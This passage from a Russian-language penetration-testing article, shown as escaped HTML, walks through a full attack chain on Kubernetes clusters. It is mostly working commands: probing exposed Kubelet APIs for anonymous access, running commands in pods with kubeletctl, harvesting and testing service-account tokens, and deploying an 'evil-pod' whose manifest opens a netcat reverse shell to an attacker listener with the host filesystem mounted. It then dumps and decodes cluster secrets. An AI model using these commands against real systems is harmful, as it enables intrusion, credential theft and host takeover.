  &lt;p id=&quot;hV6c&quot;&gt;В итоге, мы получим список IP-адресов, где есть &lt;code&gt;Kubelet API&lt;/code&gt;. Следующий наш шаг будет заключаться в том, чтобы определить, можем ли мы получить анонимный доступ к &lt;code&gt;Kubelet API&lt;/code&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Wgbz&quot; data-align=&quot;center&quot;&gt;[0x03] Проверка анонимного доступа к Kubelet API на найденных хостах&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;IsVY&quot;&gt;Здесь мы будем акцентировать внимание на то, какой статус-код будет возвращаться от Kubelet API:&lt;/p&gt;
  &lt;ul id=&quot;k9yN&quot;&gt;
    &lt;li id=&quot;a4RV&quot;&gt;200 - есть анонимный доступ&lt;/li&gt;
    &lt;li id=&quot;LVgD&quot;&gt;401 - нет анонимного доступа&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;ow0p&quot; data-lang=&quot;bash&quot;&gt;while read ip; do status=$(curl -k -s -o /dev/null -w &amp;quot;%{http_code}\n&amp;quot; https://$ip:10250/pods) &amp;amp;&amp;amp; echo &amp;quot;$ip $status&amp;quot;; done &amp;lt; kubeletapi-endpoints.txt | grep &amp;quot;200&amp;quot; | awk &amp;#x27;{print $1}&amp;#x27; &amp;gt; kubeletapi-endpoints-filtered.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;PTDX&quot;&gt;Пример получившегося файла &lt;code&gt;kubeletapi-endpoints-filtered.txt&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;RMyC&quot;&gt;XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX4&lt;/pre&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;lubV&quot; data-align=&quot;center&quot;&gt;[0x04] Сканирование контейнеров на потенциальный Remote Code Execution&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;GKVx&quot;&gt;На этом шаге уже будем использовать инструмент &lt;code&gt;kubeletctl&lt;/code&gt;. &lt;code&gt;scan rce&lt;/code&gt; поможет нам определить, где есть возможность RCE:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;fBvC&quot; data-lang=&quot;bash&quot;&gt;while read ip; do ./kubeletctl scan rce -s $ip; done &amp;lt; kubeletapi-endpoints-filtered.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;UdtP&quot;&gt;Вывод будет в красивых таблицах. Упрощенный пример вывода:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;ewDg&quot; data-lang=&quot;bash&quot;&gt;# NODE_IP:PODS:NAMESPACE:CONTAINERS:RCE 

XXX.XXX.XXX.XX1:nginx-a1b2c3e4:localapp:nginx:+&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wMLm&quot;&gt;Соответственно, &lt;code&gt;+&lt;/code&gt; или &lt;code&gt;-&lt;/code&gt; покажут, где можно исполнять команды, а где нет.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;WqwL&quot; data-align=&quot;center&quot;&gt;[0x05] Remote Code Execution (RCE)&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;vcev&quot;&gt;Тут два варианта - можно выполнить команды на всех подах, либо точечно, т.е. на конкретном поде:&lt;/p&gt;
  &lt;ul id=&quot;AIt3&quot;&gt;
    &lt;li id=&quot;WchJ&quot;&gt;На всех подах (как я понял, на контейнерах подов) конкретного Kubelet API:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;OHFu&quot; data-lang=&quot;bash&quot;&gt;./kubeletctl run &amp;quot;&amp;lt;bash command&amp;gt;&amp;quot; --all-pods -s XXX.XXX.XXX.XX1&lt;/pre&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;7Xeh&quot;&gt;
    &lt;li id=&quot;jGXX&quot;&gt;На конкретном контейнере пода:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;XQ4y&quot; data-lang=&quot;bash&quot;&gt;./kubeletctl run &amp;quot;&amp;lt;bash command&amp;gt;&amp;quot; -c &amp;lt;container&amp;gt; -p &amp;lt;pod&amp;gt; -n &amp;lt;namespace&amp;gt; -s XXX.XXX.XXX.XX1&lt;/pre&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;3IdF&quot;&gt;
    &lt;li id=&quot;aG4C&quot;&gt;Бонус: на всех подах всех доступных нам Kubelet API:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;I8tp&quot; data-lang=&quot;bash&quot;&gt;while read ip; do ./kubeletctl run &amp;quot;&amp;lt;bash command&amp;gt;&amp;quot; --all-pods -s $ip; done &amp;lt; kubeletapi-endpoints-filtered.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;v7pv&quot; data-align=&quot;center&quot;&gt;[0x06] Поиск Service Account токенов&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;R6P9&quot;&gt;Поиск токенов на всех pods конкретного Kubelet API:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;Wy7D&quot; data-lang=&quot;bash&quot;&gt;./kubeletctl scan token -s XXX.XXX.XXX.XX1&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;oExV&quot;&gt;Альтернативный способ:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;Kt3h&quot; data-lang=&quot;bash&quot;&gt;./kubeletctl run &amp;quot;cat /var/run/secrets/kubernetes.io/serviceaccount/token&amp;quot; --all-pods -s XXX.XXX.XXX.XX1&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qYAZ&quot;&gt;В данном случае, наверняка, можно грамотно сделать grep, но мне в рамках задачи достаточно было сделать grep по первым символам токена. Получим все токены со всех подов всех доступных Kubelet API:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;jtJj&quot; data-lang=&quot;bash&quot;&gt;while read ip; do ./kubeletctl run &amp;quot;cat /var/run/secrets/kubernetes.io/serviceaccount/token&amp;quot; --all-pods -s $ip | grep &amp;quot;&amp;lt;first-N-jwt-token-symbols&amp;gt;&amp;quot;; done &amp;lt; kubeletapi-endpoints-filtered.txt &amp;gt; leaked_service_accounts_tokens.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;s45m&quot;&gt;Подсчитать количество токенов:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;gTPZ&quot; data-lang=&quot;bash&quot;&gt;wc -l leaked_service_accounts_tokens.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;oHCP&quot; data-align=&quot;center&quot;&gt;[0x07] Проверка прав токенов&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;tyE4&quot;&gt;Теперь, когда мы забрали токены, нам нужно найти среди них такие, с помощью которых мы сможем делать ВСЁ. Для этого в &lt;code&gt;kubectl&lt;/code&gt; есть отдельная команда - &lt;code&gt;auth can-i &amp;#x27;*&amp;#x27; &amp;#x27;*&amp;#x27;&lt;/code&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;aqUi&quot; data-lang=&quot;bash&quot;&gt;while read token; do result=$(./kubectl auth can-i &amp;#x27;*&amp;#x27; &amp;#x27;*&amp;#x27; --token $token --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true) &amp;amp;&amp;amp; echo &amp;quot;$result : $token&amp;quot;; done &amp;lt; leaked_service_accounts_tokens.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;hJXu&quot;&gt;Если хотя бы один такой токен нашелся (в ответ от API мы должны получить &lt;em&gt;yes&lt;/em&gt;), то мы почти победили.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;WkZK&quot; data-align=&quot;center&quot;&gt;&lt;strong&gt;[0x08] Создание evil-pod с примонтированной хостовой ОС&lt;/strong&gt;&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;C0YM&quot;&gt;Добавим найденный токен в переменную окружения на Kali Linux:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;Jgsb&quot; data-lang=&quot;bash&quot;&gt;export PRIVTOKEN=&amp;lt;jwt-token-here&amp;gt;&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;CjUQ&quot;&gt;Создаем вредоносный под. У себя на Kali я создаю &lt;code&gt;mal.yaml&lt;/code&gt; со следующим содержимым:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;iH2v&quot; data-lang=&quot;yaml&quot;&gt;apiVersion: v1
kind: Pod
metadata:
    name: o1dbu7go1d
spec:
    containers:
    - name: busybox
      image: busybox:latest 
      command: [&amp;quot;/bin/sh&amp;quot;]
      args: [&amp;quot;-c&amp;quot;, &amp;quot;nc &amp;lt;kali-listener-ip&amp;gt; &amp;lt;kali-listener-port&amp;gt; -e /bin/sh&amp;quot;]
      volumeMounts:
      - name: host
        mountPath: /host
    volumes:
    - name: host
      hostPath: 
        path: /&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;zSjB&quot;&gt;Cтавим на Kali порт на прослушивание:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;Qfd7&quot; data-lang=&quot;bash&quot;&gt;nc -lvnp &amp;lt;kali-listener-port&amp;gt;&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;HjqF&quot;&gt;После чего, создаем evil-pod по ранее заготовленному YAML-конфигу:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;yZM2&quot; data-lang=&quot;bash&quot;&gt;./kubectl apply -f mal.yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;MXuw&quot;&gt;Если вывелось &lt;code&gt;pod/o1dbu7go1d created&lt;/code&gt;, то мы все сделали правильно, и в &lt;code&gt;nc&lt;/code&gt; мы увидим коннект (если он разорвался, стоит попробовать еще раз, у меня было так). Я получил сразу &lt;code&gt;root&lt;/code&gt;. Стоит сделать &lt;code&gt;chroot /host&lt;/code&gt; и мы сменим корневую директорию на корневую директорию хостовой ОС.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;J9mp&quot; data-align=&quot;center&quot;&gt;[0x09] Полезное&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;ul id=&quot;KXZv&quot;&gt;
    &lt;li id=&quot;upB7&quot;&gt;Эндпоинты Kubelet API - обращение через curl:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;tYNA&quot; data-lang=&quot;bash&quot;&gt;curl -k https://XXX.XXX.XXX.XX1:10250/pods
curl -k https://XXX.XXX.XXX.XX1:10250/runningpods
curl -k https://XXX.XXX.XXX.XX1:10250/metrics
curl -k https://XXX.XXX.XXX.XX1:10250/configz
curl -k https://XXX.XXX.XXX.XX1:10250/exec
curl -k https://XXX.XXX.XXX.XX1:10250/run&lt;/pre&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;gfi6&quot;&gt;
    &lt;li id=&quot;5bJj&quot;&gt;Пример сбора конкретных данных из полученного json от Kubelet API:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;gWte&quot; data-lang=&quot;bash&quot;&gt;curl -k https://XXX.XXX.XXX.XX1:10250/pods | jq &amp;#x27;.items[].metadata.name&amp;#x27; | tr -d &amp;#x27;&amp;quot;&amp;#x27; &amp;gt; pods-XXX.XXX.XXX.XX1.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;ul id=&quot;s8eE&quot;&gt;
    &lt;li id=&quot;hsxj&quot;&gt;Сбор всех секретов (во всех пространствах имен):&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;r5rm&quot; data-lang=&quot;bash&quot;&gt;./kubectl get secrets --all-namespaces --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;eLli&quot;&gt;Упрощенный пример вывода:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;pdAU&quot; data-lang=&quot;bash&quot;&gt;# NAMESPACE:NAME:TYPE:DATA:AGE

gitlab-runner:deploy-pull-secret:kubernetes.io/dockerconfigjson:1:2y20d&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;QiY9&quot;&gt;В колонке DATA будет указано количество секретов. Также, они могут иметь разные типы (колонка TYPE), например Opaque - общий тип для произвольных данных или kubernetes.io/tls - TLS-сертификат и ключ.&lt;/p&gt;
  &lt;ul id=&quot;NZgH&quot;&gt;
    &lt;li id=&quot;z6XM&quot;&gt;Чтение конкретного секрета:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;sEDL&quot; data-lang=&quot;bash&quot;&gt;./kubectl get secret &amp;lt;secret-name&amp;gt; -n &amp;lt;namespace&amp;gt; -o yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;EdOO&quot;&gt;Можно вывести и в json, используя &lt;code&gt;-o json&lt;/code&gt; вместо &lt;code&gt;-o yaml&lt;/code&gt;. Сами секреты закодированы в base64. Берем строку и декодируем:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(263, 48%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;pre id=&quot;hJZK&quot; data-lang=&quot;bash&quot;&gt;echo &amp;lt;base64-secret-string&amp;gt; | base64 -d&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;N2JL&quot;&gt;Также стоит искать в подах другие потенциально интересные секреты. Например, секреты сервисов - токены от gitlab, если есть gitlab-runner&amp;#x27;ы и другие. И всегда стоит проверять переменные окружения через &lt;code&gt;env&lt;/code&gt;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;section style=&quot;background-color:hsl(hsl(199, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;MHcu&quot; data-align=&quot;center&quot;&gt;[0x10] Финальная цепочка атаки&lt;/h2&gt;
  &lt;/section&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;cyKI&quot;&gt;Статья подошла к концу. Итоговая цепочка атаки у нас получилась следующая:&lt;/p&gt;
  &lt;ol id=&quot;nb9r&quot;&gt;
    &lt;li id=&quot;Y1uc&quot;&gt;Нахождение Kubelet API и проверка анонимного доступа к нему&lt;/li&gt;
    &lt;li id=&quot;NJOt&quot;&gt;Нахождение pods, на которых доступно RCE&lt;/li&gt;
    &lt;li id=&quot;KWbG&quot;&gt;Компрометация Service Account Токенов и быстрое определение привилегий&lt;/li&gt;
    &lt;li id=&quot;ZqB6&quot;&gt;Создание evil-pod с примонтированной хостовой ОС&lt;/li&gt;
    &lt;li id=&quot;nd5O&quot;&gt;Pwned!&lt;/li&gt;
  &lt;/ol&gt;
  &lt;hr /&gt;

</content></entry></feed>